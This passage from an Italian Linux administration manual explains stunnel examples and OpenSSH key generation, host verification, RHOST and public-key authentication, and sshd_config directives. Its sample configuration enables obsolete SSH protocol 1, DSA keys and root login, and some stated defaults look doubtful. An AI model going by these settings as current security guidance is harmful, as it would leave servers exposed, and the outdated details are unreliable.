`-r` [***indirizzo-ip*** `:`] ***porta***	Servizio remoto da contattare.

Stunnel non ha una destinazione di utilizzo ben precisa, per cui occorre decidere prima cosa farne e quindi intervenire in modo appropriato nella configurazione del sistema. In generale, trattandosi di un demone che può funzionare solo in modo autonomo, non si deve intervenire nella configurazione del supervisore dei servizi di rete; al massimo si possono predisporre degli script per la procedura di inizializzazione del sistema. Vengono mostrati alcuni esempi, tenendo conto che il certificato riferito al servente si trova nel file '`/etc/ssl/certs/stunnel.pem`'.

- # **`stunnel -p /etc/ssl/certs/stunnel.pem -d 443 -r 80`**[*Invio*]

  In questo caso, molto semplice, si avvia il demone in modo da dare al servizio HTTP locale la possibilità di essere raggiunto attraverso il protocollo HTTPS. In pratica, il demone resta in ascolto della porta locale 443, per connessioni SSL/TLS, funzionando come proxy nei confronti della porta locale 80, con la quale la comunicazione avviene in chiaro.

- # **`stunnel -p /etc/ssl/certs/stunnel.pem -d 443 -r 192.168.1.2:80`**[*Invio*]

  Come nell'esempio precedente, ma il servizio HTTP si trova in un nodo preciso, 192.168.1.2, il quale si presume essere diverso da quello locale.

- # **`stunnel -c -d 80 -r 192.168.1.5:443`**[*Invio*]

  Il demone funziona in modalità cliente in attesa di connessioni in chiaro attraverso la porta locale 80, mentre contatta per converso la porta 443, nel nodo 192.168.1.5, utilizzando in questo caso la crittografia SSL/TLS.

- # **`stunnel -p /etc/ssl/certs/stunnel.pem -d 993`** ↩
  ↪ **`-l /usr/sbin/imapd -- imapd`**[*Invio*]

  Il demone resta in ascolto della porta 993 (IMAPS) e utilizza lo standard output per comunicare con una copia di '**`imapd`**', in chiaro. Si osservi la necessità di ripetere il nome del demone '**`imapd`**' come primo argomento dello stesso.

- # **`stunnel -p /etc/ssl/certs/stunnel.pem -d 993`** ↩
  ↪ **`-l /usr/sbin/tcpd -- /usr/sbin/imapd`**[*Invio*]

  Come nell'esempio precedente, ma aggiungendo il controllo da parte del TCP wrapper.

49.7 OpenSSH

Secure Shell, ovvero SSH, è software proprietario, benché non lo fosse all'inizio della sua storia. Dai sorgenti originali di Secure Shell, delle edizioni originariamente «libere», si sono sviluppati diversi lavori alternativi, in cui sono stati eliminati in particolare gli algoritmi crittografici più problematici da un punto di vista legale. Tra questi lavori alternativi spicca quello conosciuto come OpenSSH,[19] che ha mantenuto molte affinità con il software originale di Secure Shell.

OpenSSH può gestire due tipi diversi di protocolli SSH, identificati come versione 1 e versione 2. In generale si considera più sicura la versione 2, ma esistono ancora molti programmi clienti che sono in grado di comunicare solo con la prima versione.

L'utilizzo di una o dell'altra versione ha delle conseguenze nella configurazione e nel modo di generare le chiavi; pertanto, negli esempi si cerca di richiamare l'attenzione a tale riguardo.

49.7.1 Preparazione delle chiavi

La prima cosa da fare per attivare e utilizzare OpenSSH è la creazione della coppia di chiavi pubblica e privata per il servente, cosa che si ottiene con l'ausilio del programma '**ssh-keygen**'. Queste chiavi vanno memorizzate normalmente nei file '/etc/ssh/ssh_host_key' e '/etc/ssh/ssh_host_key.pub', dove in particolare la chiave privata (il primo dei due file) non deve essere protetto con una parola d'ordine.

> Dal momento che questa coppia di chiavi viene realizzata in modo diverso a seconda del protocollo SSH usato, può essere conveniente predisporre tre coppie di file: '/etc/ssh/ssh_host_key[.pub]' per una coppia RSA adatta al protocollo 1; '/etc/ssh/ssh_host_rsa_key[.pub]' e '/etc/ssh/ssh_host_dsa_key[.pub]' per una coppia RSA e DSA adatte al protocollo 2.

Eventualmente può essere necessario creare un'altra coppia di file anche nei clienti che intendono sfruttare un'autenticazione RHOST+RSA, anche in questo caso, senza parola d'ordine. Infine, ogni utente che vuole utilizzare un'autenticazione RSA pura e semplice deve generare una propria coppia di chiavi, proteggendo possibilmente la chiave privata con una parola d'ordine.

> Quando si creano coppie di chiavi da collocare nell'ambito della propria directory personale, se ne prepara solitamente una coppia sola, decidendo implicitamente la versione del protocollo SSH che poi deve essere usato per quello scopo.

Il modello sintattico complessivo di '**ssh-keygen**' è molto semplice e si può riassumere così:

```
ssh-keygen [opzioni]
```

Il suo scopo è quello di generare e modificare una coppia di chiavi in altrettanti file distinti: uno per la chiave privata, che eventualmente può essere anche cifrata, e uno contenente la chiave pubblica, a cui generalmente viene aggiunta l'estensione '.pub'.

La cifratura della chiave privata viene fatta generalmente perché questa non possa essere rubata; infatti, se non si utilizza questa precauzione, occorre fare in modo che nessuno possa riuscire a raggiungere il file in lettura. In pratica, una chiave privata di un utente comune, **deve** essere sempre cifrata, perché l'utente '**root**' potrebbe accedere al file corrispondente.

La coppia di chiavi che si genera, sia nel file della parte privata, sia in quello della parte pubblica, può contenere un commento utile ad annotare lo scopo di quella chiave. Convenzionalmente, viene generato automaticamente un commento corrispondente all'indirizzo di posta elettronica dell'utente che l'ha generata.

In corrispondenza della creazione di una chiave, viene generato anche il file '~/.ssh/random_seed', che serve come supporto alla creazione di chiavi sufficientemente «casuali». Ogni volta che lo stesso utente genera una nuova chiave, il vecchio file '~/.ssh/random_seed' viene riutilizzato e aggiornato di conseguenza.

> Il file '~/.ssh/random_seed' e quelli delle chiavi private, devono essere accessibili solo all'utente proprietario.

Segue l'elenco delle opzioni più comuni:

`-b` ***n_bit***	permette di definire la dimensione della chiave in bit, tenendo conto che la dimensione minima è di 768 bit, mentre il valore predefinito è di 2048, ritenuto sufficiente per un livello di sicurezza normale;
`-f` ***file***	permette di definire esplicitamente il nome del file della chiave privata da generare, dove poi il nome della chiave pubblica è ottenuto semplicemente con l'aggiunta dell'estensione '`.pub`';
`-p`	consente di modificare la parola d'ordine che protegge una chiave privata già esistente, in modo interattivo;
`-N` ***parola_d'ordine***	permette di indicare la parola d'ordine da usare per proteggere la chiave privata nella riga di comando;

`-t rsa1`
`-t rsa`
`-t dsa`
	permette di specificare il tipo di chiavi da generare, tenendo conto che il tipo '**`rsa1`**' è utilizzabile solo per la versione 1 del protocollo SSH, mentre gli altri due tipi sono adatti alla versione 2.

A seconda del tipo di chiavi che si generano, i file predefiniti hanno un nome differente, allo scopo di consentire la gestione simultanea di tutti i tipi di chiave disponibili:

'`~/.ssh/identity`' '`~/.ssh/identity.pub`'	per una coppia di chiavi RSA adatta alla versione 1 del protocollo SSH;
'`~/.ssh/id_rsa`' '`~/.ssh/id_rsa.pub`'	per una coppia di chiavi RSA adatta alla versione 2 del protocollo SSH;
'`~/.ssh/id_dsa`' '`~/.ssh/id_dsa.pub`'	per una coppia di chiavi DSA adatta alla versione 2 del protocollo SSH.

Una volta installato OpenSSH, se si intende far funzionare il servente in modo da accettare tutti i tipi di protocollo, vanno create le varie coppie di chiavi nella directory '`/etc/ssh/`', attraverso i passaggi seguenti. In particolare, si osservi che non si possono proteggere le chiavi private con una parola d'ordine, altrimenti il servente non potrebbe lavorare in modo autonomo.

`#` **`ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ''`** [*Invio*]	Crea la coppia di chiavi RSA per la versione 1 del protocollo, nei file '`/etc/ssh/ssh_host_key`' e '`/etc/ssh/ssh_host_key.pub`'.
`#` **`ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -N ''`** [*Invio*]	Crea la coppia di chiavi RSA per la versione 2 del protocollo, nei file '`/etc/ssh/ssh_host_rsa_key`' e '`/etc/ssh/ssh_host_rsa_key.pub`'.
`#` **`ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key -N ''`** [*Invio*]	Crea la coppia di chiavi DSA per la versione 2 del protocollo, nei file '`/etc/ssh/ssh_host_dsa_key`' e '`/etc/ssh/ssh_host_dsa_key.pub`'.

Naturalmente, se lo si desidera, si può usare anche l'opzione '**`-b`**' per specificare una lunghezza della chiave diversa dal valore predefinito.

L'utente comune che desidera creare le proprie coppie di chiavi, per utilizzare poi delle forme

di autenticazione basate sul riconoscimento delle chiavi stesse, può agire secondo i passaggi seguenti, avendo cura di definire una parola d'ordine per proteggere le chiavi private. Si osservi che non viene indicato il nome dei file, perché si fa riferimento alle collocazioni predefinite. Naturalmente, anche in questo caso l'utente può usare l'opzione '**-p**' se intende ottenere una dimensione particolare della chiave.

# **ssh-keygen -t rsa1** [*Invio*]	Crea la coppia di chiavi RSA per la versione 1 del protocollo, nei file predefiniti '`~/.ssh/identity`' e '`~/.ssh/identity.pub`'.
# **ssh-keygen -t rsa** [*Invio*]	Crea la coppia di chiavi RSA per la versione 2 del protocollo, nei file predefiniti '`~/.ssh/id_rsa`' e '`~/.ssh/id_rsa.pub`'.
# **ssh-keygen -t dsa** [*Invio*]	Crea la coppia di chiavi DSA per la versione 2 del protocollo, nei file predefiniti '`~/.ssh/id_dsa`' e '`~/.ssh/id_dsa.pub`'.

49.7.2 Verifica dell'identità dei serventi

Nei clienti è possibile predisporre il file '`/etc/ssh/ssh_known_hosts`' con l'elenco delle chiavi pubbliche dei serventi a cui ci si collega frequentemente. In aggiunta, ogni utente dei clienti può avere il proprio file '`~/.ssh/known_hosts`', per le chiavi pubbliche che non siano già presenti nel file '`/etc/ssh/ssh_known_hosts`'.

Quando un cliente si collega la prima volta a un servente OpenSSH, se la sua chiave pubblica non è già stata inserita nel file '`/etc/ssh/ssh_known_hosts`', viene proposto all'utente di aggiungere quella chiave pubblica nel file '`~/.ssh/known_hosts`'.

```
The authenticity of host 'dinkel.brot.dg (192.168.1.1)' can't be established.
RSA key fingerprint is dc:16:d5:2b:20:c5:2b:7b:69:1c:72:cc:d1:26:99:8b.
Are you sure you want to continue connecting (yes/no)?
```

yes [*Invio*]

```
Host 'dinkel.brot.dg' added to the list of known hosts.
```

In un secondo momento, se per qualche motivo la chiave di un servente, già conosciuta in precedenza da un cliente (attraverso il file '`/etc/ssh/ssh_known_hosts`', oppure attraverso i file '`~/.ssh/known_hosts`'), dovesse essere cambiata, tale cliente non riconoscerebbe più il servente e avviserebbe l'utente:

```
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
dc:16:d5:2b:20:c5:2b:7b:69:1c:72:cc:d1:26:99:8b.
Please contact your system administrator.
Add correct host key in /home/tizio/.ssh/known_hosts to get rid of this message.
Offending key in /home/tizio/.ssh/known_hosts:6
RSA host key for localhost has changed and you have requested strict checking.
Host key verification failed.
```

In questo caso, come suggerisce il messaggio, è sufficiente modificare il file '`~/.ssh/known_hosts`' alla sesta riga, per fare in modo che questo contenga il riferimento alla nuova chiave pubblica del servente.

Volendo intervenire a mano in questo file ('`~/.ssh/known_hosts`' o '`/etc/ssh/ssh_known_hosts`'), conviene conoscere come questo è organizzato. Il file può contenere commenti, rappresentati dalle righe che iniziano con il simbolo '**#**', righe vuote, che vengono ignorate ugualmente; per il resto si tratta di righe contenenti ognuna l'informazione sulla chiave pubblica di un servente particolare. Queste righe significative sono composte in uno dei modi seguenti, dove i vari elementi sono separati da uno o più spazi.

nodo lunghezza_della_chiave esponente modulo

nodo tipo_di_chiave chiave_pubblica

Tanto per fare un esempio, l'ipotetico elaboratore *`linux.brot.dg`* potrebbe richiedere la riga seguente (abbreviata per motivi tipografici) per una chiave RSA adatta al protocollo SSH versione 1:

```
…
roggen.brot.dg 1024 35 136994665376544565821…04907660021407562333675433
…
```

Oppure, potrebbe trattarsi di una riga simile a quella seguente per una chiave RSA adatta al protocollo SSH versione 2:

```
…
roggen.brot.dg ssh-rsa AAAAB3NzaC1yc2EAAAAB…IwAAAgEAnhvScnWn3hCXk7W90=
…
```

Evidentemente, data la dimensione delle chiavi, è improbabile che queste vengano ricopiate attraverso la digitazione diretta. Questi dati vengono ritagliati normalmente dal file della chiave pubblica a cui si riferiscono. A titolo di esempio, i file delle chiavi pubbliche corrispondenti a quanto già mostrato, avrebbero potuto essere composti dalla riga:

```
…
1024 35 136994665376544565821…049076600214075623336754 33 root@roggen.brot.dg
…
```

oppure:

```
…
ssh-rsa AAAAB3NzaC1yc2EAAAAB…IwAAAgEAnhvScnWn3hCXk7W90= root@roggen.brot.dg
…
```

Comunque, quando si vuole intervenire nel file '/etc/ssh/ssh_known_hosts', anche se questa operazione può avvenire solo in modo manuale, rimane sempre la possibilità di ottenere la prima volta l'aggiornamento automatico del file '~/.ssh/known_hosts', dal quale poi si può tagliare e incollare quanto serve nel file '/etc/ssh/ssh_known_hosts', senza altre modifiche.

49.7.3 Autenticazione RHOST

L'autenticazione RHOST, come già accennato, è un metodo semplice e insicuro di autenticare l'accesso attraverso la tecnica dei file '/etc/hosts.equiv' e '~/.rhosts' già utilizzata da '**rlogin**'. In alternativa a questi file, OpenSSH può utilizzare la coppia '/etc/ssh/shosts.equiv' e '~/.shosts', in modo da poter essere configurato indipendentemente da '**rlogin**' e '**rsh**'.

Perché questa tecnica di autenticazione possa essere utilizzata, è necessario configurare '**sshd**', ovvero il demone di OpenSSH. Diversamente, in modo predefinito, l'autenticazione RHOST non viene concessa.

È bene sottolineare l'accesso facilitato basato sull'autenticazione RHOST è assolutamente sconsigliabile e la sua disponibilità si giustifica solo per motivazioni storiche collegate all'uso di programmi come Rsh. In ogni caso, occorre considerare che OpenSSH non consente di usare questo sistema di autenticazione se i permessi di accesso ai file di configurazione relativi non sono abbastanza ristretti. Pertanto, il più delle volte, quando si tenta di sfruttare il sistema RHOST, l'autenticazione fallisce.

L'esempio seguente mostra il contenuto del file '/etc/ssh/shosts.equiv', oppure di '/etc/hosts.equiv', di un elaboratore per il quale si vuole consentire l'accesso da parte di *dinkel.brot.dg* e di *roggen.brot.dg*.

```
dinkel.brot.dg
roggen.brot.dg
```

In questo modo, gli utenti dei nodi *dinkel.brot.dg* e *roggen.brot.dg* possono accedere al sistema locale senza la richiesta formale di alcuna identificazione, purché esista per loro un utente con lo stesso nome.

L'elenco di nodi equivalenti può contenere anche l'indicazione di utenti particolari, per la precisione, ogni riga può contenere il nome di un nodo seguito eventualmente da **uno spazio** e dal nome di un utente. Si osservi l'esempio seguente:

```
dinkel.brot.dg
roggen.brot.dg
dinkel.brot.dg tizio
dinkel.brot.dg caio
```

Come nell'esempio precedente, viene concesso agli utenti dei nodi *dinkel.brot.dg* e *roggen.brot.dg* di accedere localmente attraverso lo stesso nominativo utilizzato nei sistemi remoti. In aggiunta a questo, però, viene concesso agli utenti '**tizio**' e '**caio**' del nodo *dinkel.brot.dg*, di accedere identificandosi con il nome di qualunque utente, senza la richiesta di alcuna parola d'ordine.

Si può intuire che fare una cosa del genere significa concedere a tali utenti privilegi simili a quelli che ha l'utente '**root**'. In generale, tali utenti non dovrebbero essere in grado di utilizzare UID molto bassi, comunque ciò non è un buon motivo per configurare in questo modo il file '/etc/ssh/shosts.equiv' o '/etc/hosts.equiv'.

Indipendentemente dal fatto che il file '/etc/ssh/shosts.equiv', oppure '/etc/hosts.equiv', sia presente o meno, ogni utente può predisporre il proprio file '~/.shosts', oppure '~/.rhosts'. La sintassi di questo file è la stessa di '/etc/ssh/shosts.equiv' (e di '/etc/hosts.equiv'), ma si riferisce esclusivamente all'utente che predispone tale file nella propria directory personale.

In questo file, l'indicazione di utenti precisi è utile e opportuna, perché quell'utente potrebbe disporre di nominativi-utente differenti sui nodi da cui vuole accedere.

```
dinkel.brot.dg tizi
roggen.brot.dg tizio
```

L'esempio mostra l'indicazione precisa di ogni nominativo-utente dei nodi che possono accedere senza richiesta di identificazione.[20]

49.7.4 Autenticazione RHOST sommata al riconoscimento della chiave pubblica

L'autenticazione RHOST può essere sommata a quella del riconoscimento della chiave pubblica, utilizza gli stessi file già visti nell'autenticazione RHOST normale, ma in più richiede che il cliente sia riconosciuto. Perché ciò avvenga, occorre che il cliente abbia una propria chiave, cioè abbia definito la coppia di file '/etc/ssh/ssh_host_key' e '/etc/ssh/ssh_host_key.pub', e che la sua parte pubblica sia annotata nel file '/etc/ssh/ssh_known_hosts' del servente, oppure nel file '~/.ssh/known_hosts' riferito all'utente che dal cliente vuole accedere.

In generale, non è necessario questo tipo di autenticazione mista, la quale di solito è anche disabilitata in modo predefinito. Infatti, è sufficiente che sia disponibile un'autenticazione basata sul controllo della chiave pubblica, senza altre restrizioni.

49.7.5 Autenticazione basata sul controllo della chiave pubblica

L'autenticazione basata sul controllo della chiave pubblica, pura e semplice, permette di raggiungere un livello di garanzia ulteriore. Per il suo utilizzo, l'utente deve creare una propria coppia di chiavi per ogni tipo di protocollo che intenda usare (i file '~/.ssh/identity' e '~/.ssh/identity.pub', oppure '~/.ssh/id_rsa' e '~/.ssh/id_rsa.pub', oppure '~/.ssh/id_dsa' e '~/.ssh/id_dsa.pub') presso l'elaboratore cliente. Data la situazione, come è già stato descritto, è opportuno che la chiave privata sia protetta con una parola d'ordine.

Per accedere a un servente utilizzando questo tipo di autenticazione, occorre che l'utente aggiunga nel file '~/.ssh/authorized_keys' presso il servente, le sue chiavi pubbliche definite nel nodo cliente.

> Perché il sistema di autenticazione basato sulla verifica delle chiavi funzioni, è necessario che i permessi dei file coinvolti e delle stesse directory non consentano l'intromissione di estranei. In particolare, può darsi che venga rifiutato questo tipo di autenticazione se la directory personale o anche solo '~/.ssh/' dispongono dei permessi di scrittura per il gruppo proprietario.

L'utente che utilizza il sistema di autenticazione basato sul controllo della chiave pubblica, potrebbe usare le stesse chiavi da tutti i clienti da cui intende accedere al servente, oppure potrebbe usare chiavi differenti, aggiungendole tutte al file '~/.ssh/authorized_keys' del servente.

Quando si stabilisce una connessione con questo tipo di autenticazione, se la chiave privata dell'utente è cifrata attraverso una parola d'ordine, si ottiene un messaggio come quello seguente:

```
Enter passphrase for RSA key 'tizio@roggen.brot.dg':
```

Diversamente, se le chiave privata coinvolta non è cifrata, per l'accesso non è richiesto altro.

In pratica, per concedere l'accesso attraverso questa forma di autenticazione, è sufficiente aggiungere nel file '~/.ssh/authorized_keys' le chiavi pubbliche delle utenze che interessano, prelevandole dai file '~/.ssh/id*.pub' contenuti nei nodi clienti rispettivi.

L'esempio seguente mostra un ipotetico file '~/.ssh/authorized_keys' contenente il riferimento a sei chiavi. La parte finale, quella alfabetica, è la descrizione della chiave, il cui unico scopo è quello di permetterne il riconoscimento a livello umano.

```
1024 33 12042598236…281211366932678117501839467 1 tizio@roggen.brot.dg
ssh-rsa AAAAB3NzaC1…erMIqmsserVBqIuP1JHUivfY7VU= tizio@dinkel.brot.dg
ssh-dss AAAAB3NzaC1…kc3MgA83UkVTtCLsS42GBGR3wA== tizio@dinkel.brot.dg
1024 33 13485193076…781167232528361460457201691 9 caio@dinkel.brot.dg
ssh-rsa AAAAB3NzaC1…erGTRDbMIqmssIuP1JHUivfY7VU= caio@dinkel.brot.dg
ssh-dss AAAAB3NzaC1…kc3MgA8HYjGrDCLsS42GBGR3wA== caio@dinkel.brot.dg
```

In realtà, le righe di questo file potrebbero essere più complesse, con l'aggiunta di un campo iniziale, contenente delle opzioni. Queste opzioni, facoltative, sono rappresentate da direttive separate da una virgola e senza spazi aggiunti. Eventualmente, le stringhe contenenti spazi

devono essere racchiuse tra coppie di apici doppi; inoltre, se queste stringhe devono contenere un apice doppio, questo può essere indicato proteggendolo con la barra obliqua inversa ('`\"`').

`from="`***elenco_modelli***`"`	Permette di limitare l'accesso. Con un elenco di modelli, eventualmente composto con dei metacaratteri ('`*`', '`?`'), si possono indicare i nomi dei nodi a cui è concesso oppure è negato l'accesso. Per la precisione, i modelli che iniziano con un punto esclamativo si riferiscono a nomi cui l'accesso viene vietato espressamente.
`command="`***comando***`"`	Permette di abbinare una chiave a un comando. In pratica, chi accede utilizzando questa chiave, invece di una shell ottiene l'esecuzione del comando indicato e subito dopo la connessione ha termine. Di solito, si abbina questa opzione a '**`no-pty`**' e a '**`no-port-forwarding`**'.
`no-port-forwarding`	Vieta espressamente l'inoltro del TCP/IP.
`no-X11-forwarding`	Vieta espressamente l'inoltro del protocollo X11.
`no-pty`	Impedisce l'allocazione di uno pseudo terminale (pseudo TTY).

Vengono mostrati alcuni esempi nell'elenco seguente.

`from="*.brot.dg,!schwarz.brot.dg" ↩` `↪1024 35 234…56556 tizio@dinkel.brot.dg`	Concede l'accesso con la chiave indicata, solo al dominio *`brot.dg`*, escludendo espressamente il nome *`schwarz.brot.dg`*.
`command="ls" 1024 35 2346543…8757465456556 ↩` `↪tizio@dinkel.brot.dg`	Chi tenta di accedere utilizzando questa chiave, ottiene semplicemente l'esecuzione del comando '**`ls`**' nella directory corrente, cioè la directory personale dell'utente corrispondente.

`command="tar czpf ↩`
`↪/home/tizio/backup/lettere.tar.gz ↩`
`↪/home/tizio/lettere" ↩`
`↪1024 35 234…56556 tizio@dinkel.brot.dg`
	Chi tenta di accedere utilizzando questa chiave, ottiene semplicemente l'archiviazione della directory '`/home/tizio/lettere/`'.

`command="ls",no-port-forwarding,no-pty ↩`
`↪1024 35 2346543…8757465456556 ↩`
`↪tizio@dinkel.brot.dg`
	Chi tenta di accedere utilizzando questa chiave, ottiene semplicemente l'esecuzione del comando '**`ls`**'; inoltre, per sicurezza viene impedito l'inoltro del TCP/IP e l'allocazione di uno pseudo TTY.

49.7.6 Autenticazione normale

Quando OpenSSH non è in grado di eseguire alcun altro tipo di autenticazione, ripiega nell'uso del sistema tradizionale, in cui viene richiesta la parola d'ordine abbinata al nominativo-utente con cui si vuole accedere.

Ciò rappresenta anche l'utilizzo normale di OpenSSH, il cui scopo principale è quello di garantire la sicurezza della connessione attraverso la cifratura e il riconoscimento del servente. Infatti, per ottenere questo livello di funzionamento, è sufficiente che nel servente venga definita la chiave, attraverso i file '`/etc/ssh/ssh_host_key`' e '`/etc/ssh/ssh_host_key.pub`', mentre nei clienti non serve nulla, a parte l'installazione di OpenSSH.

Quando un utente si connette per la prima volta a un servente determinato, da un cliente particolare, la chiave pubblica di quel servente viene annotata automaticamente nel file '~/.ssh/known_hosts', permettendo il controllo successivo su quel servente.

Quindi, attraverso l'autenticazione normale, tutti i problemi legati alla registrazione delle varie chiavi pubbliche vengono risolti in modo automatico e quasi trasparente.

49.7.7 Servente OpenSSH

Il servizio di OpenSSH viene offerto tramite un demone, il programma '**sshd**', il quale deve essere avviato durante l'inizializzazione del sistema, oppure, se compilato con le opzioni necessarie, può essere messo sotto il controllo del supervisore dei servizi di rete. Tuttavia, generalmente si preferisce avviare '**sshd**' in modo indipendente dal supervisore dei servizi di rete, perché a ogni avvio richiede un po' di tempo per la generazione di chiavi aggiuntive utilizzate per la cifratura.

La sintassi per l'utilizzo di questo demone si può riassumere semplicemente nel modello seguente:

```
sshd [opzioni]
```

Il programma '**sshd**', una volta avviato e dopo aver letto la sua configurazione, si comporta in maniera un po' diversa, a seconda che sia stato abilitato l'uso della versione 1 o 2 del protocollo SSH.

In generale, quando un cliente si connette, '**sshd**' avvia una copia di se stesso per la nuova connessione, quindi, attraverso la chiave pubblica del servente inizia una sorta di negoziazione che porta alla definizione di un algoritmo crittografico da usare e di una chiave simmetrica che viene scambiata tra le parti, sempre in modo cifrato. Successivamente, si passa alla fase di autenticazione dell'utente, secondo uno dei vari metodi già descritti, in base a quanto stabilito nella configurazione di '**sshd**'. Infine, il cliente richiede l'avvio di una shell o di un altro comando.

OpenSSH ignora il file '/etc/securetty', per cui gli accessi dell'utente '**root**' possono essere regolati solo attraverso la configurazione del file '/etc/ssh/sshd_config'.

Vengono descritte alcune opzioni di '**sshd**':

-f *file_di_configurazione*	Permette di fare utilizzare a '**sshd**' un file di configurazione differente da quello standard, ovvero '/etc/ssh/sshd_config'.
-h *file_della_chiave_del_nodo*	Permette di fare utilizzare a '**sshd**' una chiave del nodo diversa da quella contenuta nel file standard. Si deve indicare solo il nome della chiave privata, intendendo che il nome del file contenente la chiave pubblica si ottiene con l'aggiunta dell'estensione '.pub'.
-d	Fa sì che '**sshd**' funzioni in primo piano, allo scopo di seguire una sola connessione per verificarne il funzionamento.
-e	Si usa in abbinamento con '**-d**', per ottenere le informazioni diagnostiche attraverso lo standard error.

Il file di configurazione '`/etc/ssh/sshd_config`' permette di definire il comportamento di '**`sshd`**'. Il file può contenere righe di commento, evidenziate dal simbolo '**`#`**' iniziale, righe vuote (che vengono ignorate) e righe contenenti direttive, composte da coppie ***nome valore***, spaziate, senza alcun simbolo di assegnamento.

Quello che segue è un file '`/etc/ssh/sshd_config`' tipico, adatto per le due versioni del protocollo SSH, in modo simultaneo:

```
# La porta usata per ricevere le richieste di comunicazione
Port 22

# Direttive per restringere l'accessibilità del servizio
#ListenAddress ::
#ListenAddress 0.0.0.0

# Definizione delle versioni del protocollo utilizzabili
Protocol 2,1

# Collocazione della coppia di chiavi per il protocollo 1
HostKey /etc/ssh/ssh_host_key

# Collocazione delle coppie di chiavi per il protocollo 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key

# Durata di validità per la chiave generata automaticamente
# per la versione 1
KeyRegenerationInterval 3600
ServerKeyBits 768

# Livello di informazioni nel registro
SyslogFacility AUTH
LogLevel INFO

# Autenticazione
LoginGraceTime 600
PermitRootLogin yes
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile     %h/.ssh/authorized_keys

# Disabilita l'autenticazione RHOSTS e la sua combinazione con
# il sistema della chiave pubblica
RhostsAuthentication no
IgnoreRhosts yes
RhostsRSAAuthentication no
HostbasedAuthentication no
IgnoreUserKnownHosts yes
```

```
# Non consente l'uso di parole d'ordine vuote
PermitEmptyPasswords no

# Uncomment to disable s/key passwords
#ChallengeResponseAuthentication no

# Consente l'autenticazione basata sul riconoscimento della
# parola d'ordine
PasswordAuthentication yes

# Use PAM authentication via keyboard-interactive so PAM modules can
# properly interface with the user
PAMAuthenticationViaKbdInt yes

# To change Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#AFSTokenPassing no
#KerberosTicketCleanup no

# Kerberos TGT Passing does only work with the AFS kaserver
#KerberosTgtPassing yes

X11Forwarding no
X11DisplayOffset 10
PrintMotd no
#PrintLastLog no
KeepAlive yes
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net
#ReverseMappingCheck yes

Subsystem       sftp    /usr/lib/sftp-server
```

Si osservi che i nomi usati nelle direttive sono sensibili alla differenza tra maiuscole e minuscole. Segue la descrizione di alcune direttive di configurazione.

`Protocol` ***n*** [`,`***m***]...	Consente di indicare quali versioni del protocollo SSH utilizzare.
`AllowUsers` ***modello***... `Deny` ***modello***...	Queste due direttive permettono di definire uno o più modelli (attraverso l'uso dei metacaratteri '`*`' e '`?`') riferiti a nomi di utenti a cui si intende concedere, oppure vietare l'accesso. Se queste direttive non vengono usate, si concede a qualunque utente di accedere.

`HostKey` ***file***	Questa direttiva può essere usata anche più volte, per indicare i file contenenti le chiavi private del nodo. L'utilizzo multiplo della direttiva serve proprio per indicare chiavi diverse, adatte ai diversi protocolli.
`LoginGraceTime` ***durata***	Permette di stabilire il tempo massimo concesso per completare la procedura di accesso. Il valore predefinito è di 600 s, pari a 10 minuti.
`PasswordAuthentication ↵ ↪{yes|no}`	Stabilisce se l'autenticazione attraverso la parola d'ordine è consentita oppure no. Il valore predefinito è '**`yes`**', cosa che permette questo tipo di autenticazione.
`PermitEmptyPasswords ↵ ↪{yes|no}`	Se l'autenticazione attraverso una parola d'ordine è consentita, permette di stabilire se sono ammesse le parole d'ordine nulle. Il valore predefinito è '**`yes`**'.
`PermitRootLogin {yes↵ ↪|without-password↵ ↪|forced-commands-only|no}`	Permette di abilitare o meno l'accesso da parte dell'utente '**`root`**'. Il valore predefinito è '**`yes`**' che consente questo accesso in qualunque forma di autenticazione, '**`no`**' lo esclude in ogni caso, mentre '**`without-password`**' esclude solo la forma di autenticazione attraverso una parola d'ordine e '**`forced-commands-only`**' consente di eseguire solo dei comandi remoti, sempre escludendo l'autenticazione basata sulla parola d'ordine.
`IgnoreRhosts {yes|no}`	Permette di ignorare i file '`~/.rhosts`' e '`~/.shosts`', mentre, per quanto riguarda questa direttiva, i file '`/etc/hosts.equiv`' e '`/etc/shosts.equiv`' continuano a essere presi in considerazione. Il valore predefinito è '**`no`**'.
`RhostsAuthentication ↵ ↪{yes|no}`	Permette di abilitare o meno l'autenticazione RHOST, cioè quella basata esclusivamente sul file '`/etc/hosts.equiv`' (o '`/etc/shosts.equiv`') ed eventualmente '`~/.rhosts`' (o '`~/.shosts`'). Per motivi di sicurezza, il valore predefinito è '**`no`**', per non autorizzare questa forma di autenticazione.
`RhostsRSAAuthentication ↵ ↪{yes|no}`	Permette di abilitare o meno l'autenticazione RHOST sommata al riconoscimento della chiave pubblica, per il protocollo della versione 1. Il valore predefinito è '**`no`**', per non autorizzare questa forma di autenticazione.
`HostbasedAuthentication ↵ ↪{yes|no}`	Permette di abilitare o meno l'autenticazione RHOST sommata al riconoscimento della chiave pubblica, per il protocollo della versione 2. Il valore predefinito è '**`no`**', per non autorizzare questa forma di autenticazione.
`IgnoreUserKnownHosts ↵ ↪{yes|no}`	Permette di ignorare i file '`~/.ssh/known_hosts`' degli utenti, durante l'autenticazione basata su RHOST sommata al riconoscimento della chiave pubblica. Il valore predefinito è '**`no`**', con il quale i file in questione vengono letti regolarmente.
`RSAAuthentication {yes|no}`	Permette di abilitare o meno l'autenticazione basata sulle chiavi di ogni singolo utente, per quanto riguarda la versione 1 del protocollo. Il valore predefinito è '**`no`**' che esclude questa forma di autenticazione.
